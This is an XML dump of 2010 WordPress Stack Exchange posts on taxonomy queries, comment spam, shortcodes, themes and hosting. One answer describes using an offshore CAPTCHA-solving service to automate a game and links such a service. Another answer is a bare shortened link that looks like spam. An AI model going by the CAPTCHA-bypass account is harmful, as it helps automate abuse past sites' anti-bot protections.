  <row Id="2941" PostTypeId="2" ParentId="2255" CreationDate="2010-10-16T19:04:52.790" Score="2" ViewCount="" Body="&lt;p&gt;As of v1.3, the &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt; plugin works great with WP_Query. Your original args work as is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;'post_type' =&amp;gt; 'portfolio',&#xA;'numberposts' =&amp;gt; -1,&#xA;'project_type' =&amp;gt; 'A',&#xA;'package' =&amp;gt; 'A'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then make a new query and check it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = new WP_Query($args);&#xA;var_dump($foo-&amp;gt;posts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tested this on my own custom taxonomy setup, and it only returned posts which matched &lt;strong&gt;both&lt;/strong&gt; terms in the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another convenient method of grabbing multiple taxonomy terms with QMT is building simple URL queries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/?post_type=portfolio&amp;amp;package=foo&amp;amp;project=bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used this method with the &lt;code&gt;add_query_args()&lt;/code&gt; function to create links on a page that modify the current query, refining it by adding additional terms and taxonomies. The syntax also works great with a search input, as multiple words in the input field are posted as foo+bar, which works great with QMT:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/?post_type=portfolio&amp;amp;project=alpha&amp;amp;colors=red+blue+green&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which returns only posts that meet &lt;strong&gt;all&lt;/strong&gt; these criteria - Type: Portfolio / Project: Alpha / Colors: red + blue + green&lt;/p&gt;&#xA;" OwnerUserId="838" LastEditorUserId="838" LastEditorDisplayName="" LastEditDate="2010-10-17T05:55:23.287" LastActivityDate="2010-10-17T05:55:23.287" />
  <row Id="2942" PostTypeId="2" ParentId="2255" CreationDate="2010-10-16T20:49:49.933" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@shaun&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;@Rarst&lt;/em&gt; is right in that they are &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12891&quot; rel=&quot;nofollow&quot;&gt;adding this functionality to WordPress v3.1&lt;/a&gt;, but it won't be here for a while and I'm sure you need it now. You could try to &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12891#attachments&quot; rel=&quot;nofollow&quot;&gt;grab the code they are working on&lt;/a&gt; and try to make it work, you could use &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;the plugin&lt;/a&gt; both &lt;em&gt;@Rarst&lt;/em&gt; and &lt;em&gt;@somatic&lt;/em&gt; mention, or you could just include the code you need into your theme, below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code is a &lt;code&gt;posts_where&lt;/code&gt; hook to add a &lt;code&gt;tax_terms&lt;/code&gt; query variable with a value of the format &lt;em&gt;(i.e. colon-commas)&lt;/em&gt; where the values are term &lt;a href=&quot;http://codex.wordpress.org/Glossary#Slug&quot; rel=&quot;nofollow&quot;&gt;slugs&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;{$varname1}:{$value1},{$varname2}:{$value2},...{$varnameN}:{$valueN}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a self-contained &lt;code&gt;.php&lt;/code&gt; you can drop into the root of your website to test it out before pulling the &lt;code&gt;add_action&lt;/code&gt; call and the &lt;code&gt;tax_terms_where()&lt;/code&gt; function into your theme's &lt;code&gt;functions.php&lt;/code&gt; file &lt;em&gt;(or into the &lt;code&gt;.php&lt;/code&gt; file of one of your own plugins.)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;* Adds &quot;tax_terms&quot; to WP_Query()&#xA;*&#xA;* See: http://lists.automattic.com/pipermail/wp-hackers/2010-October/035258.html&#xA;* See: http://wordpress.stackexchange.com/questions/2255/&#xA;*&#xA;*/&#xA;&#xA;  header('Content-Type:text/plain');&#xA;  include &quot;wp-load.php&quot;;&#xA;  add_action('posts_where','tax_terms_where',10,2);&#xA;&#xA;  $result = new WP_Query('post_type=portfolio&amp;amp;tax_terms=project_type:A,package:A');&#xA;  foreach($result-&amp;gt;posts as $post) {&#xA;    echo &quot;{$post-&amp;gt;post_title}\n&quot;;&#xA;  }&#xA;&#xA;function tax_terms_where($where,$wp_query) {&#xA;  if (isset($wp_query-&amp;gt;query)) {&#xA;    $query = $wp_query-&amp;gt;query;&#xA;    if (is_string($query))&#xA;      parse_str($query,$query);&#xA;    if (is_array($query) &amp;amp;&amp;amp; isset($query['tax_terms'])) {&#xA;      global $wpdb;&#xA;      $tax_terms = explode(',',$query['tax_terms']);&#xA;      foreach($tax_terms as $tax_term) {&#xA;        list($taxonomy,$term) = explode(':',$tax_term);&#xA;        $sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;AND $wpdb-&amp;gt;posts.ID IN (&#xA;  SELECT tr.object_id&#xA;  FROM $wpdb-&amp;gt;term_relationships AS tr&#xA;  INNER JOIN $wpdb-&amp;gt;term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id&#xA;  INNER JOIN $wpdb-&amp;gt;terms AS t ON tt.term_id = t.term_id&#xA;  WHERE tt.taxonomy='%s' AND t.slug='%s'&#xA;)&#xA;SQL;&#xA;        $where .= $wpdb-&amp;gt;prepare($sql,$taxonomy,$term);&#xA;      }&#xA;    }&#xA;  }&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this isn't exactly what you need because, for example, you'd rather match the &lt;code&gt;$term-&amp;gt;term_id&lt;/code&gt; instead of matching the &lt;code&gt;$term-&amp;gt;slug&lt;/code&gt; then the code shouldn't be too hard to modify for your needs, assuming you are comfortable with SQL and &lt;code&gt;.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-16T20:49:49.933" />
  <row Id="2943" PostTypeId="1" CreationDate="2010-10-16T21:00:58.393" Score="14" ViewCount="1458" Body="&lt;p&gt;I'm a bit perplexed why I keep getting so many spam comments ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NZXMa.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though &lt;strong&gt;I use both the Akismet and WP-reCAPTCHA plugins&lt;/strong&gt; on &lt;a href=&quot;http://fakeplasticrock.com&quot; rel=&quot;nofollow&quot;&gt;my WordPress blog&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-recaptcha/&quot; rel=&quot;nofollow&quot;&gt;WP-reCAPTCHA&lt;/a&gt; should stop machine entered spam, but I understand spam entered by human beings will still get through -- and there are more and more human being spam farms, it is true.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://akismet.com/download/&quot; rel=&quot;nofollow&quot;&gt;Akismet&lt;/a&gt; (which is built in to WordPress!) should match any common spam URLs in something like real time plus or minus four hours, right? It's a collaborative world-wide URL blacklist.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I verified that both Akismet and WP-reCAPTCHA are set up, enabled, and have valid API keys. Am I doing something wrong? Do I misunderstand how Wordpress works?&lt;/p&gt;&#xA;" OwnerUserId="152" LastActivityDate="2011-01-24T02:01:05.317" Title="Why do I get comment spam even with Akismet and Captcha?" Tags="&lt;comments&gt;&lt;spam&gt;" AnswerCount="8" CommentCount="2" FavoriteCount="7" />
  <row Id="2944" PostTypeId="2" ParentId="2943" CreationDate="2010-10-16T21:04:48.543" Score="4" ViewCount="" Body="&lt;p&gt;with wp-recaptcha, robots can still post comments. these spammy comments are marked as such and don't show up your blog, but will still appear in your comment queue. see the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-recaptcha/faq/&quot; rel=&quot;nofollow&quot;&gt;wp-recaptcha faq&lt;/a&gt; for a more detailed explanation.&lt;/p&gt;&#xA;" OwnerUserId="1259" LastActivityDate="2010-10-16T21:04:48.543" CommentCount="2" />
  <row Id="2945" PostTypeId="2" ParentId="2943" CreationDate="2010-10-16T21:09:55.033" Score="3" ViewCount="" Body="&lt;p&gt;Welcome to the greater Internet! WP-reCAPTCHA can do nothing because most creative spams are human generated. Akismet should be able to catch them but they cannot do it unless their database is updated which I believe is updated every month or week, not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way I have found to eliminate such spams is to MARK them as Spam. Wordpress provides this option for a reason. I have noticed that once I mark these comments as SPAM in the latest version of Wordpress, they never come back. The next time a similar comment is found, it automatically gets added in the &quot;Spam Comments&quot; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" LastActivityDate="2010-10-16T21:09:55.033" CommentCount="5" />
  <row Id="2946" PostTypeId="2" ParentId="2943" CreationDate="2010-10-16T21:15:18.767" Score="3" ViewCount="" Body="&lt;p&gt;Bad behavior: &lt;a href=&quot;http://wordpress.org/extend/plugins/bad-behavior/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/bad-behavior/&lt;/a&gt; works for me.&lt;/p&gt;&#xA;" OwnerUserId="1264" LastActivityDate="2010-10-16T21:15:18.767" CommentCount="1" />
  <row Id="2947" PostTypeId="2" ParentId="2943" CreationDate="2010-10-16T21:23:55.587" Score="2" ViewCount="" Body="&lt;p&gt;&quot;...spam entered by human beings will still get through -- and there are more and more human being spam farms, it is true...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the price of success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are indeed &quot;farms&quot; out there, esp. in third-world countries, that hire folks for pennies per hour to copy/paste/post comments and links in popular blogs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately your best option to eliminating these as much as possible is to require some kind of authentication (OpenID, Facebook Connect etc.). &lt;/p&gt;&#xA;" OwnerUserId="1266" LastActivityDate="2010-10-16T21:23:55.587" CommentCount="1" />
  <row Id="2948" PostTypeId="1" AcceptedAnswerId="2949" CreationDate="2010-10-16T22:02:03.607" Score="1" ViewCount="113" Body="&lt;p&gt;I tried using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$my_id = 7;&#xA;$post_id_7 = get_post($my_id); &#xA;echo $post_id_7-&amp;gt;post_content;&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;based on the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post&quot; rel=&quot;nofollow&quot;&gt;documentation here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article I'm trying to retrieve has Short Code, which is picked up by a plugin on my site, and then formatted into HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I output the post_content to the site, the short code isn't picked up by the plugin, and I effectively just write out the short code straight to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the short code evaluated properly?  Or am I using the wrong function?&lt;/p&gt;&#xA;" OwnerUserId="1269" LastActivityDate="2010-10-16T22:20:53.347" Title="How do you get formatted content of a post using the WordPress API?" Tags="&lt;development&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2949" PostTypeId="2" ParentId="2948" CreationDate="2010-10-16T22:20:53.347" Score="2" ViewCount="" Body="&lt;p&gt;Post's object field contains raw content as it is stored in database. This should format it to how it appears when retrieved with template tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = apply_filters('the_content', $content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This filters runs number of formatting functions, including shortcodes parsing. Something close to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;   the_content&#xA;8   (object) WP_Embed -&amp;gt; run_shortcode (1) &#xA;    (object) WP_Embed -&amp;gt; autoembed (1) &#xA;10  wptexturize (1) &#xA;    convert_smilies (1) &#xA;    convert_chars (1) &#xA;    wpautop (1) &#xA;    shortcode_unautop (1) &#xA;    prepend_attachment (1) &#xA;11  capital_P_dangit (1) &#xA;    do_shortcode (1) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-16T22:20:53.347" CommentCount="3" />
  <row Id="2950" PostTypeId="2" ParentId="2943" CreationDate="2010-10-16T22:56:45.013" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;WP-reCAPTCHA should stop machine&#xA;  entered spam&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sorry Jeff, there are any number of nefarious sites out there that provide easy programatic API's for breaking CAPTCHA's. Sadly, a lot of these are done by &lt;em&gt;people&lt;/em&gt; in real time, but to a bot that is just an implementation detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is one: &lt;a href=&quot;http://www.kourkouta.com/service.php&quot; rel=&quot;nofollow&quot;&gt;http://www.kourkouta.com/service.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A while back I wrote an automated program to play Mob Wars (lame I know) for me on Facebook using Selenium RC. Eventually the guy started introducing CAPTCHA's and I ventured into the dark side. I found some shady off-shore company that offered a FREE web service you could upload CAPTCHA images to and get the result. I integrated that into my program, and it never missed a beat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, just saying that most CAPTCHA's are little more than &lt;a href=&quot;http://www.cs.sfu.ca/~mori/research/gimpy/&quot; rel=&quot;nofollow&quot;&gt;a digital nuisance&lt;/a&gt; that bots will go sailing past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And didn't you write a blog entry once upon a time telling bloggers the most effective way to deal with Spam was to just read your comments and delete the spam ;) I think you may have even used a gardening metaphor. But I suppose it is a different world for you now... economies of scale and all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the quote and the &lt;a href=&quot;http://www.codinghorror.com/blog/2007/12/page/2/&quot; rel=&quot;nofollow&quot;&gt;citation you requested&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've had plenty of experience with&#xA;  blacklists. A miniscule percentage of&#xA;  spammers have the resources to bypass&#xA;  my naive CAPTCHA. They hire human&#xA;  workers to enter spam comments. That's&#xA;  why I enter URLs into a blacklist&#xA;  every week on this very site. It's an&#xA;  ugly, thankless little thing, but it's&#xA;  necessary. I scrutinize every comment,&#xA;  and I remove a tiny percentage of&#xA;  them: they might be outright spam,&#xA;  patently off-topic, or just plain&#xA;  mean. &lt;strong&gt;&lt;em&gt;I like to refer to this as&#xA;  weeding my web garden.&lt;/em&gt;&lt;/strong&gt; It's a&#xA;  productivity tax you pay if you want&#xA;  to grow a bumper crop of comments,&#xA;  which, despite what Joel says, often&#xA;  bear such wonderful fruit. The labor&#xA;  can be minimized with improved&#xA;  equipment, but it's always there in&#xA;  some form. And I'm OK with that. The&#xA;  myriad benefits of a robust comment&#xA;  ecosystem outweighs the minor&#xA;  maintenance effort.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1272" LastEditorUserId="1272" LastEditorDisplayName="" LastEditDate="2010-10-18T13:42:20.510" LastActivityDate="2010-10-18T13:42:20.510" CommentCount="5" />
  <row Id="2951" PostTypeId="2" ParentId="2943" CreationDate="2010-10-17T00:18:58.037" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://defensio.com/downloads&quot; rel=&quot;nofollow&quot;&gt;Defensio&lt;/a&gt; instead, they've had a solid spam filter for several years now.&lt;/p&gt;&#xA;" OwnerUserId="1274" LastActivityDate="2010-10-17T00:18:58.037" />
  <row Id="2952" PostTypeId="2" ParentId="2738" CreationDate="2010-10-17T02:09:13.687" Score="0" ViewCount="" Body="&lt;p&gt;This is how I do it in mere seconds, instead of going through all the usual monotonous steps. This moves EVERYTHING. Works everytime, perfectly.&#xA;&lt;a href=&quot;http://tinyurl.com/28872om&quot; rel=&quot;nofollow&quot;&gt;http://tinyurl.com/28872om&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-10-17T02:09:13.687" />
  <row Id="2955" PostTypeId="1" AcceptedAnswerId="4497" CreationDate="2010-10-17T07:52:11.423" Score="1" ViewCount="90" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; Was previously titled: &quot;What is the best theme used for a developer like me?&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a developer and write a blog to share my knowledge with readers. I'm looking for a theme which is best suited with me but not sure which ones. Please share if you've ever visited a nice theme.&lt;/p&gt;&#xA;" OwnerUserId="992" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-17T08:07:01.420" LastActivityDate="2010-11-24T20:30:07.870" CommunityOwnedDate="2010-10-17T08:07:01.420" Title="Recommended Themes for a Developer-related Topics Blog?" Tags="&lt;themes&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2956" PostTypeId="1" AcceptedAnswerId="3706" CreationDate="2010-10-17T08:19:28.910" Score="0" ViewCount="317" Body="&lt;p&gt;I prefer using tags and have no interest in using the categories. All my posts now are labeled with a category named &quot;Uncategorized&quot; and I want to turn them off! I want no more categories at all. How can I do that? Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Edit]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;wordpress.com&lt;/code&gt;, not &lt;code&gt;wordpress.org&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="992" LastEditorUserId="992" LastEditorDisplayName="" LastEditDate="2010-10-28T04:15:50.077" LastActivityDate="2010-11-05T21:54:15.933" Title="How to totally get rid of Category in my blog?" Tags="&lt;categories&gt;&lt;wordpress.com&gt;&lt;tags&gt;" AnswerCount="3" />
  <row Id="2959" PostTypeId="2" ParentId="2940" CreationDate="2010-10-17T11:25:33.733" Score="2" ViewCount="" Body="&lt;p&gt;Ideally, you install php-suexec, so that the php script runs as the file's owner. This allows the direct method to be used without requiring any permission changes.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-17T11:25:33.733" CommentCount="1" />
  <row Id="2960" PostTypeId="2" ParentId="2956" CreationDate="2010-10-17T11:30:45.393" Score="5" ViewCount="" Body="&lt;p&gt;You can't disable categories altogether, but you can prevent WP from displaying them:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;in the post editor screen within the admin interface, use screen options to hide the category picker.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in your theme, remove category-related lines.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This won't, technically, disable everything category-related from showing (WP may still output, say, category RSS feeds and the like in HTML meta, and these will still work), but most of your authors and end users won't notice them.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-17T11:30:45.393" />
  <row Id="2961" PostTypeId="1" AcceptedAnswerId="2966" CreationDate="2010-10-17T11:46:11.720" Score="0" ViewCount="374" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; Was originally titled &quot;Wordpress for a static corporate website?&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a WordPress solution that will give me:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a static website, with menu and a few pages,&lt;/li&gt;&#xA;&lt;li&gt;does not look like a blog, looks like a corporate website&lt;/li&gt;&#xA;&lt;li&gt;a very basic look and feel: white background, almost only text,&lt;/li&gt;&#xA;&lt;li&gt;easy to setup and maintain&lt;/li&gt;&#xA;&lt;li&gt;SEO&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An example of my target is: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rachatdecredit.net&quot; rel=&quot;nofollow&quot;&gt;rachatdecredit.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is using WordPress, but I cannot find out which theme; perhaps it's a custom-made theme.&#xA;Anyway, I cannot find a theme that gives a similar result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you have a recommendation?&lt;/p&gt;&#xA;" OwnerUserId="1224" LastEditorUserId="1224" LastEditorDisplayName="" LastEditDate="2010-10-18T15:03:16.857" LastActivityDate="2010-10-18T15:03:16.857" Title="Basic Theme for a Static Corporate Website?" Tags="&lt;themes&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2962" PostTypeId="1" AcceptedAnswerId="2963" CreationDate="2010-10-17T13:16:51.187" Score="1" ViewCount="101" Body="&lt;p&gt;I'm trying to build a fully W3C compatible blog. But I couldn't find a fully W3C compatible plugin. I want a simple plugin that provides share, tweet and like icons, sociable style. I don't want my readers to click a button to show share buttons, only buttons i want the plugin to provide. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1223" LastActivityDate="2010-10-17T13:31:24.777" Title="Is there any W3C compatible Share &amp; Follow plugin?" Tags="&lt;plugins&gt;&lt;3.0&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2963" PostTypeId="2" ParentId="2962" CreationDate="2010-10-17T13:31:24.777" Score="0" ViewCount="" Body="&lt;p&gt;Best way is to skip plugin, add share buttons manually and then tweak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is usually some degree of flexibility to share buttons code. But plugins generally disregard that and go for defaults. If you want it to validate perfectly you will likely have to do it button by button.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-17T13:31:24.777" CommentCount="3" />
  <row Id="2964" PostTypeId="2" ParentId="2961" CreationDate="2010-10-17T13:33:56.030" Score="1" ViewCount="" Body="&lt;p&gt;My recommendation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build a template for the site in HTML/CSS,  then convert that to a theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You almost never can find a prebuilt theme that looks decent for a non-blog format site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build a normal website, then convert the content areas, menus, etc to Wordpress functions.&lt;/p&gt;&#xA;" OwnerUserId="375" LastActivityDate="2010-10-17T13:33:56.030" CommentCount="1" />
  <row Id="2965" PostTypeId="1" CreationDate="2010-10-17T13:37:30.493" Score="1" ViewCount="148" Body="&lt;p&gt;I have a client with a wordpress site that gets the following traffic.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;6.2-6.4 Million page views per month&lt;/li&gt;&#xA;&lt;li&gt;Around 3 TB of Transfer per month&lt;/li&gt;&#xA;&lt;li&gt;Most of the users are logged in, so the static caching options are not that effective. About 80% of the traffic is direct to the DB.  We have about 20 plugins, but nothing too crazy.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Woth out knowing much more, How much do you think they should be paying per month for managed hosting?   Not build your own, support your own server setups, but a support desk that you can call 24-7 and someone who updates your LAMP stack, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not hold anyone to the amount, I just wanted to know what this group of experts would think was reasonable for 24 Hour managed / supported hosting for something of this size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to make sure that I am not way off base when I say our current cost is reasonable.  &lt;/p&gt;&#xA;" OwnerUserId="375" LastActivityDate="2010-10-17T21:25:33.253" Title="How much should this hosting cost?" Tags="&lt;hosting&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="2966" PostTypeId="2" ParentId="2961" CreationDate="2010-10-17T13:45:25.137" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@tuscon&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rachatdecredit theme is almost certainly a custom theme, you can tell from the URL for the stylesheet. Most of the time if a theme is in a directory with the same name as the site it is custom, or at least a child theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.rachatdecredit.net/wp-content/themes/rachatdecredit/style.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you want something very basic, I would suggest you build a custom theme or a child theme of the standard Twenty Theme.  WordPress is great for theming because it mostly gets out of the way and lets you do what you want. Much of the complexity of a theme is handling the blogging aspects, so since you don't want those a custom theme should be pretty simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you want simple you might do more work to get an existing theme to work for you than to build it from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to an answer I wrote about how to write your own theme:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/50/where-can-i-learn-to-create-my-own-theme/112#112&quot;&gt;&lt;strong&gt;Creating your own Theme&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here's one about creating a child theme:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/290/customizing-a-wordpress-theme-without-changing-it/291#291&quot;&gt;&lt;strong&gt;Creating a Child Theme&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The child theme approach might be easier since you'll be able to start with a working theme and incrementally modify it until you get what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those are not options for you and you really want to use an &lt;em&gt;&quot;off-the-shelf&quot;&lt;/em&gt; theme then there are hundreds to choose from. And that's the problem; which one?  I could start researching them to find them but I don't know what you'll like so it might be better to just start doing the research on your own. I also don't know if you'll consider commercial themes or only want free. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must find an off the shelf theme, by googling &lt;em&gt;&quot;wordpress themes&quot;&lt;/em&gt; or going here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-17T13:45:25.137" CommentCount="2" />
  <row Id="2967" PostTypeId="1" AcceptedAnswerId="2968" CreationDate="2010-10-17T15:07:59.233" Score="0" ViewCount="83" Body="&lt;p&gt;I've been trying, without success, to remove to sliding of the text:  &quot;ggplot+background+grid+colour&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the left sidebar &lt;a href=&quot;http://www.r-bloggers.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-10-17T15:16:46.633" Title="why does this text overlaps in the sidebar?" Tags="&lt;css&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="2968" PostTypeId="2" ParentId="2967" CreationDate="2010-10-17T15:16:46.633" Score="0" ViewCount="" Body="&lt;p&gt;Almost missed it, looks fine in Opera. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically these words are not treated as words, but as one giant word. And browsers (well, except Opera) have trouble interpreting how to wrap it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how to achieve nice wrapping, but quick fix would be adding CSS rule &lt;code&gt;overflow: hidden;&lt;/code&gt; to &lt;code&gt;.side-widget ul{}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-17T15:16:46.633" />
  <row Id="2969" PostTypeId="1" AcceptedAnswerId="2997" CreationDate="2010-10-17T15:37:02.747" Score="1" ViewCount="391" Body="&lt;p&gt;We can order pages by title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also we can sort them by menu_order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible, to order pages by menu_order and title at the same time?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2010-10-18T13:06:58.210" Title="Order by menu_order and title?" Tags="&lt;page&gt;" AnswerCount="1" FavoriteCount="1" />
